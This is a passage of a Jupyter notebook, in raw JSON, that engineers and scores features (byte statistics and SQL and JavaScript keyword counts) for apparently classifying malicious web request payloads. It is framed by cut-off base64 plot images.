7djeyF20vUYXUK6mWtRv7a6PtTVT/qP9lJvsx2OB+\nTLgN+L32z03+9dETQ5lPEZhJ5zr/xBMXGiEizgW+DtyfmQ/Q4F5MyMzfAN5KdX3ZT3UMNakfm4AN\nEfENqutjvgSc1THepF4A/A3wJ5l5PDP/BngOOLtjvGn9eA7YnZmvZWZSXXvZGTqa1g8i4qeByMyv\nt3c1/s/SuRjKfIrATL7XvkYC4N3ANxewlnkTEWcDjwMfy8wd7d2N7AVARPyL9sXLUM2MHAP+son9\nyMz1mXlp+xqZ/wX8OvBnTexF2yba1+BGxDlUqw6PN7gfe4GrImKg3Y/TgK81uB9QPa3nax3bjf2z\ntFeNW6abxk6qf/3uZ/LJA4J/A9zbfgzW01RLeU1wGzAC3B4RE9eW3QL8YQN7AfAV4I8j4klgOfCv\nqXrQxF8b02nq7xOALwD3RcReqm/TbQL+Lw3tR2Y+GhHrgW9TTXh8kOobqY3sR1sAf9ex3eTfLz3x\njv6SJEkFcPlSkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQCGMknqEBH3te/eL0nzylAmSZJU\nAG8eK2nJi4ivAA9k5sPt7b+kupHlp4CVVDcM/mhmPtRxzHnANzLzvPb27wJk5u9GxFXAJ6huqPsM\n8JuZ+dx8fR5JS5MzZZKa4H7gnwNExPlUz+/8V8DmzLwIuAm4o5cTRUQLuBO4MjN/AdgN/H4dRUtq\nFmfKJDXBfwM+ExHDwK8Bfwp8GrgmIn4ZWAuc3uO53gH8Q+DrEQGwDPhR3yuW1DjOlEla8jLzNeBR\n4FrgV6hC2TeBfwp8l2oZc2DKYcen7Fve/v8yYG9mXpiZFwJvB95XX/WSmsJQJqkp7qe6juxHwGHg\nrcAdmfnfgSuowlan54GRiGhFxKnAVe39fwGsi4i3trdvB/5D3cVLWvoMZZIaITP3AWcAf5KZPwL+\nCPjfEfE94CxgZUSc1vH6Q1Rh6zvAnwPfbu//AbAJeDAiDgAXUYU9STopA8ePH1/oGiRJkhrPmTJJ\nkqQCGMokSZIKYCiTJEkqgKFMkiSpAIYySZKkAhjKJEmSCmAokyRJKoChTJIkqQD/D0S4e9z401+S\nAAAAAElFTkSuQmCC\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f7104bf6588>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def create_feature_distinct_bytes(payloads):\n",
    "    '''\n",
    "    Feature\n",
    "    Number of distinct bytes in payload\n",
    "    '''\n",
    "    \n",
    "    payloads['distinct-bytes'] = [ len(list(set(bytearray(str(row), 'utf8')))) for row in payloads['payload']]\n",
    "    return payloads\n",
    "\n",
    "create_feature_distinct_bytes(payloads)\n",
    "display(payloads.head())\n",
    "\n",
    "plot_feature_distribution(payloads['distinct-bytes'])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "sql_keywords = pd.read_csv('data/SQLKeywords.txt', index_col=False)\n",
    "\n",
    "def create_feature_sql_keywords(payloads):\n",
    "    \n",
    "    '''\n",
    "    Feature\n",
    "    Number of SQL keywords within payload\n",
    "    '''\n",
    "    payloads['sql-keywords'] = [ len([1 for keyword in sql_keywords['Keyword'] if str(keyword).lower() in str(row).lower()]) for row in payloads['payload']]\n",
    "    return payloads\n",
    "\n",
    "create_feature_sql_keywords(payloads)\n",
    "display(type(sql_keywords))\n",
    "display(payloads.head())\n",
    "plot_feature_distribution(payloads['sql-keywords'])\n",
    "    "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "scrolled": false
   },
   "outputs": [],
   "source": [
    "js_keywords = pd.read_csv('data/JavascriptKeywords.txt', index_col=False)\n",
    "\n",
    "def create_feature_javascript_keywords(payloads):\n",
    "    '''\n",
    "    Feature\n",
    "    Number of Javascript keywords within payload\n",
    "    '''\n",
    "    \n",
    "    payloads['js-keywords'] = [len([1 for keyword in js_keywords['Keyword'] if str(keyword).lower() in str(row).lower()]) for row in payloads['payload']]\n",
    "    return payloads\n",
    "    \n",
    "\n",
    "create_feature_javascript_keywords(payloads)\n",
    "display(payloads.head())    \n",
    "plot_feature_distribution(payloads['js-keywords'])\n",
    "    \n",
    "    "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "define a function that makes a feature vector from the payload using the custom features"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def create_features(payloads):\n",
    "    features = create_feature_length(payloads)\n",
    "    features = create_feature_non_printable_characters(features)\n",
    "    features = create_feature_punctuation_characters(features)\n",
    "    features = create_feature_max_byte_value(features)\n",
    "    features = create_feature_min_byte_value(features)\n",
    "    features = create_feature_mean_byte_value(features)\n",
    "    features = create_feature_std_byte_value(features)\n",
    "    features = create_feature_distinct_bytes(features)\n",
    "    features = create_feature_sql_keywords(features)\n",
    "    features = create_feature_javascript_keywords(features)\n",
    "    del features['payload']\n",
    "\n",
    "    return features"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Scoring custom features\n",
    "Score the custom features using the SelectKBest function, then visualize the scores in a graph  \n",
    "to see which features are less significant"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {
    "scrolled": false
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[ 1741947.55319445     8315.00812852  1327640.01843927    11961.95267096\n",
      "   209306.71262799    16750.06417719   202116.21011929   289328.55486197\n",
      "    33370.32829912    51571.75031561]\n",
      "[ 1741947.55     8315.01  1327640.02    11961.95   209306.71    16750.06\n",
      "   202116.21   289328.55    33370.33    51571.75]\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "['non-printable',\n",
       " 'max-byte',\n",
       " 'mean-byte',\n",
       " 'sql-keywords',\n",
       " 'js-keywords',\n",
       " 'std-byte',\n",
       " 'min-byte',\n",
       " 'distinct-bytes',\n",
       " 'punctuation',\n",
       " 'length']"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "['max-byte 8315.00812852',\n",
       " 'sql-keywords 11961.952671',\n",
       " 'std-byte 16750.0641772',\n",
       " 'punctuation 33370.3282991',\n",
       " 'length 51571.7503156',\n",
       " 'min-byte 202116.210119',\n",
       " 'js-keywords 209306.712628',\n",
       " 'distinct-bytes 289328.554862',\n",
       " 'mean-byte 1327640.01844',\n",
       " 'non-printable 1741947.55319']"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "image/png": "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\nLl3C3d39hu35D3eUKlWqwOciIrYU3kSkSAsODgYgLS0NHx8fLBYLVatWLdB05J/5+PiwadMmQkJC\ncHZ2vm07gKNHj+Lr63vLdgUZeSpZsiRff/01ISEhdOrUiY0bN9KkSZMC1ZuTkwNAZmamta47OffA\nwEACAwMZN24cO3bsICQkhAULFlifeL1V/TVq1ACuP3Vap06dG7afPHkSuP7aEBG5O7rnTUSKhC1b\nttz09RP5n2OqXr06nTp1ws7OjkmTJt3Q1mKx8Pvvv99y/127diU3N5c33njjhm05OTlcvHgRgNat\nW+Pu7s60adO4evXqDcfI5+rqan31xu1UqFCBjRs34urqyjPPPENiYuJf9gH48ssvAahbty5Agc89\nIyPDGvzyBQYGUqxYMbKysmzqzz/nP8sPl/v27btpXfv378dsNlOrVq0CnYeI3EgjbyJSJAwZMoQr\nV67QsWNHatSowbVr19ixYwfLly+nSpUq9O3bF09PT958802ioqJISUmhQ4cOuLu7c/LkSVatWsVL\nL71EZGTkTfffrFkzBgwYwLRp0zh06BCtW7emePHinDhxghUrVhAdHU3nzp3x8PBgzpw5RERE0KBB\nA3r06EGJEiU4fPgwV65cIS4uDrj+yozly5czcuRIGjRogJubG+3atbvpsf38/NiwYQOhoaG0adOG\nb7/9lmrVqlm3b9++3RoUz58/z+eff87WrVvp1q2bdSTMx8enQOf+zTffMHjwYLp06YK/vz85OTks\nXrwYOzs7nn/+eesx69evz6ZNm5g9ezbly5enatWqNGrUiGrVqlG7dm02bdpEeHj4DeeyceNG2rVr\np3veRP6OQnrKVUTknlq3bp0lPDzcUqNGDYubm5vFwcHB4uvraxkyZIjlt99+s2n72WefWR577DGL\nq6urxdXV1VKjRg3LK6+8Yjl+/Li1zX+/KiTfBx98YKlfv77F2dnZ4u7ubgkMDLS89tprll9++cWm\n3eeff25p2rSpxdnZ2eLh4WFp2LCh5eOPP7Zuz8zMtPTo0cPi6elpfTWIxfJ/rwp5++23bzj29u3b\nLc7OzpaqVatafv7555u+KsTBwcFSo0YNy5QpU2xek1LQc//xxx8t4eHhFh8fH4uTk5PFy8vL0rx5\nc8umTZts9vP9999bnnjiCYuzs7MFsHltyOzZsy1ubm6WK1eu2PRJSkqyADfsS0TujMli0WuuRUTk\n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\n2axcuZLIyMg7Ok8RERGRfPc1vPXu3Zs//viDhg0b8sorrzBs2DBeeuklAGbNmkWlSpV4/PHH6dGj\nB5GRkbi4uNzR/v39/fn66685fPgwDRs2pEmTJqxZswZ7++uzwZGRkdjZ2VGzZk1Kly5NamoqXl5e\nLFmyhLVr1xIYGMjHH3/MxIkTbfY7e/ZsSpQoQdOmTWnXrh1t2rTh0UcftWkzefJkUlJS8PHxoXTp\n0jetr0OHDkRHRzNz5kxq1arF+++/T0xMDKGhoXd0niIiIiL5TJb/vgHsHgkNDaVevXo3fIVA7r2M\njAzMZjOMAZwKuxoREZHCYZlwXyLNfZP/9zs9Pf2OHj4s0p/HEhERESlqFN5EREREDOS+vSokPj7+\nfu1aRERE5KGlkTcRERERA1F4ExERETEQhTcRERERAym0z2PJvZcedWePGouIiIjxaORNRERExEAU\n3kREREQMROFNRERExEAU3kREREQMROFNRERExEAU3kREREQMRK8KKULM08zgVNhViIgUDssES2GX\nIPJAaORNRERExEAU3kREREQMROFNRERExEAU3kREREQMROFNRERExEAU3kREREQMROFNRERExEAU\n3kREREQM5J6Et9DQUIYPHw5AlSpVmDt37l3vKzY2Fk9Pz3tR1h3783mIiIiI/C+65yNve/fu5aWX\nXipQ25sFvRdeeIH//Oc/96yelJQUTCYThw4dumf7vJ2wsDA6dOjwQI4lIiIiD597/nms0qVL/63+\nzs7OODs736NqRERERIqWOx55u3z5Mr1798bNzY1y5coxa9Ysm+1/Hk2zWCxMnDiRRx55BEdHR8qX\nL8/QoUOB61OUp06dYsSIEZhMJkwmE3DjtOnEiROpV68eixcvpkqVKpjNZrp168alS5esbfLy8pgx\nYwa+vr44OjryyCOPMGXKFACqVq0KQFBQECaTidDQ0NueX05ODoMHD8ZsNlOqVCnGjx+PxXL9e3mT\nJ0+mdu3aN/SpV68e48ePZ+LEicTFxbFmzRrrOcXHxwNw+vRpunbtiqenJ15eXjz33HOkpKRY9xEf\nH0/Dhg1xdXXF09OTkJAQTp069Vf/OUREROQhc8fhbdSoUWzdupU1a9bw9ddfEx8fz4EDB27a9rPP\nPmPOnDm8//77nDhxgtWrVxMYGAjAypUrqVixIpMnTyYtLY20tLRbHjM5OZnVq1fz5Zdf8uWXX7J1\n61amT59u3R4VFcX06dMZP348x44dY/ny5Xh7ewOwZ88eADZt2kRaWhorV6687fnFxcVhb2/Pnj17\niI6OZvbs2SxatAiA8PBwkpKS2Lt3r7X9wYMHOXLkCH379iUyMpKuXbvStm1b6zk1bdqU7Oxs2rRp\ng7u7O9u3bychIQE3Nzfatm3LtWvXyMnJoUOHDjRr1owjR46wc+dOXnrpJWug/W9ZWVlkZGTYLCIi\nIvJwuKNp08zMTP71r3+xZMkSWrRoAVwPOxUrVrxp+9TUVLy9vWnZsiXFixfnkUceoWHDhgB4eXlh\nZ2eHu7u7NWjdSl5eHrGxsbi7uwPQq1cvNm/ezJQpU7h06RLR0dHMnz+fPn36AODj40OTJk2A/5vG\nLVmy5F8eB6BSpUrMmTMHk8lE9erVSUxMZM6cOfTv35+KFSvSpk0bYmJiaNCgAQAxMTE0a9aMatWq\nAdenfbOysmyOtWTJEvLy8li0aJE1kMXExODp6Ul8fDzBwcGkp6fz7LPP4uPjA0BAQMAta5w2bRqT\nJk36y3MRERGRoueORt6Sk5O5du0ajRo1sq7z8vKievXqN23fpUsX/vjjD6pVq0b//v1ZtWoVOTk5\nd1xklSpVrMENoFy5cpw5cwaApKQksrKyrGGyILZv346bm5t1Wbp0qXVb48aNbUa8mjRpwokTJ8jN\nzQWgf//+fPzxx1y9epVr166xbNkywsPDb3u8w4cP88MPP+Du7m49ppeXF1evXiU5ORkvLy/CwsJo\n06YN7dq1Izo6+rYjkVFRUaSnp1uX06dPF/jcRURExNju+QMLf1apUiWOHz/Opk2b2LhxI4MGDeLt\nt99m69atFC9evMD7+e+2JpOJvLw8gLt6uCE4ONjm6dOyZcsWuG+7du1wdHRk1apVODg4kJ2dTefO\nnW/bJzMzk/r169uExHz5I4MxMTEMHTqU9evXs3z5csaNG8fGjRtp3LjxDX0cHR1xdHQscM0iIiJS\ndNzRyJuPjw/Fixdn9+7d1nUXLly47as9nJ2dadeuHe+88w7x8fHs3LmTxMREABwcHKwjWnfLz88P\nZ2dnNm/efNPtDg4OADbHcXZ2xtfX17r8eVTvz+cGsGvXLvz8/LCzswPA3t6ePn36EBMTQ0xMDN26\ndbMJkDc7p0cffZQTJ05QpkwZm+P6+vpiNput7YKCgoiKimLHjh3Url2bZcuW3eVVERERkaLqjkbe\n3Nzc6NevH6NGjaJkyZKUKVOGsWPHUqzYzTNgbGwsubm5NGrUCBcXF5YsWYKzszOVK1cGrk+Hbtu2\njW7duuHo6EipUqXu+AScnJwYPXo0r732Gg4ODoSEhHD27Fm+++47+vXrR5kyZXB2dmb9+vVUrFgR\nJycnm8D031JTUxk5ciQDBgzgwIEDzJs374YnaiMiIqz3pCUkJNhsq1KlChs2bOD48eOULFkSs9lM\nz549efvtt3nuueeYPHkyFStW5NSpU6xcuZLXXnuN7OxsPvjgA9q3b0/58uU5fvw4J06coHfv3nd8\nPURERKRou+Np07fffpvMzEzatWuHu7s7r776Kunp6Tdt6+npyfTp0xk5ciS5ubkEBgbyxRdfULJk\nSeD6qzcGDBiAj48PWVlZ1ldy3Knx48djb2/P66+/zi+//EK5cuUYOHDg9RO0t+edd95h8uTJvP76\n6zz++OPW13fcTO/evfnjjz9o2LAhdnZ2DBs27IaXDvv5+dG0aVPOnz9vc/8fXL8nLv8hhMzMTLZs\n2UJoaCjbtm1j9OjRdOrUiUuXLlGhQgVatGiBh4cHf/zxB99//z1xcXH8/vvvlCtXjldeeYUBAwbc\n1fUQERGRostkudvE9BCzWCz4+fkxaNAgRo4cWdjlkJGRcX00cQzgVNjViIgUDssE/TkTY8n/+52e\nno6Hh0eB+93XBxaKorNnz/LJJ5/w66+/0rdv38IuR0RERB4yCm93qEyZMpQqVYoPPviAEiVKFHY5\nIiIi8pBReLtDmmUWERGRwnTHn8cSERERkcKj8CYiIiJiIApvIiIiIgaie96KkPSoO3vUWERERIxH\nI28iIiIiBqLwJiIiImIgCm8iIiIiBqLwJiIiImIgCm8iIiIiBqLwJiIiImIgelVIEWKeZganwq5C\nROT/WCbok4Ii95pG3kREREQMROFNRERExEAU3kREREQMROFNRERExEAU3kREREQMROFNRERExEAU\n3kREREQMROFNRERExECKdHiLj4/HZDJx8eLFv7Wf0NBQhg8ffo+qEhEREbl7RTq8NW3alLS0NMxm\nc2GXQlhYGB06dCjsMkRERMTgivTnsRwcHPD29i7sMkRERETuGUONvIWGhjJkyBCGDx9OiRIlKFu2\nLAsXLuTy5cv07dsXd3d3fH19WbduHXDjtGlsbCyenp5s2LCBgIAA3NzcaNu2LWlpaX957JycHAYP\nHozZbKZUqVKMHz8ei+X6N/smT55M7dq1b+hTr149xo8fz8SJE4mLi2PNmjWYTCZMJhPx8fEAnD59\nmq5du+KXAvPaAAAgAElEQVTp6YmXlxfPPfccKSkp9+aCiYiISJFjqPAGEBcXR6lSpdizZw9Dhgzh\n5ZdfpkuXLjRt2pQDBw7QunVrevXqxZUrV27a/8qVK8ycOZPFixezbds2UlNTiYyMLNBx7e3t2bNn\nD9HR0cyePZtFixYBEB4eTlJSEnv37rW2P3jwIEeOHKFv375ERkbStWtXa1BMS0ujadOmZGdn06ZN\nG9zd3dm+fTsJCQnWQHnt2rVb1pKVlUVGRobNIiIiIg8Hw4W3unXrMm7cOPz8/IiKisLJyYlSpUrR\nv39//Pz8eP311/n99985cuTITftnZ2ezYMECgoODefTRRxk8eDCbN2/+y+NWqlSJOXPmUL16dXr2\n7MmQIUOYM2cOABUrVqRNmzbExMRY28fExNCsWTOqVauGm5sbzs7OODo64u3tjbe3Nw4ODixfvpy8\nvDwWLVpEYGAgAQEBxMTEkJqaah2Zu5lp06ZhNputS6VKle7sIoqIiIhhGS681alTx/pvOzs7SpYs\nSWBgoHVd2bJlAThz5sxN+7u4uODj42P9Xa5cOWvb7du34+bmZl2WLl1qbde4cWNMJpP1d5MmTThx\n4gS5ubkA9O/fn48//pirV69y7do1li1bRnh4+G3P5fDhw/zwww+4u7tbj+nl5cXVq1dJTk6+Zb+o\nqCjS09Oty+nTp297HBERESk6DPfAQvHixW1+m0wmm3X5ASsvL6/A/fPvXQsODubQoUPWbflBsCDa\ntWuHo6Mjq1atwsHBgezsbDp37nzbPpmZmdSvX98mJOYrXbr0Lfs5Ojri6OhY4NpERESk6DBceLuf\nnJ2d8fX1vem23bt32/zetWsXfn5+2NnZAWBvb0+fPn2IiYnBwcGBbt264ezsbG3v4OBgHaXL9+ij\nj7J8+XLKlCmDh4fHPT4bERERKYoMN21aWFJTUxk5ciTHjx/n448/Zt68eQwbNsymTUREBN988w3r\n16+/Ycq0SpUqHDlyhOPHj3Pu3Dmys7Pp2bMnpUqV4rnnnmP79u2cPHmS+Ph4hg4dyk8//fQgT09E\nREQMQiNvBdS7d2/++OMPGjZsiJ2dHcOGDeOll16yaePn50fTpk05f/48jRo1stnWv39/4uPjCQ4O\nJjMzky1bthAaGsq2bdsYPXo0nTp14tKlS1SoUIEWLVpoJE5ERERuymTJv+FL/jaLxYKfnx+DBg1i\n5MiRD+y4GRkZ178iMQZwemCHFRH5S5YJ+hMjciv5f7/T09PvaNBGI2/3yNmzZ/nkk0/49ddf6du3\nb2GXIyIiIkWUwts9UqZMGUqVKsUHH3xAiRIlCrscERERKaIU3u4RzT6LiIjIg6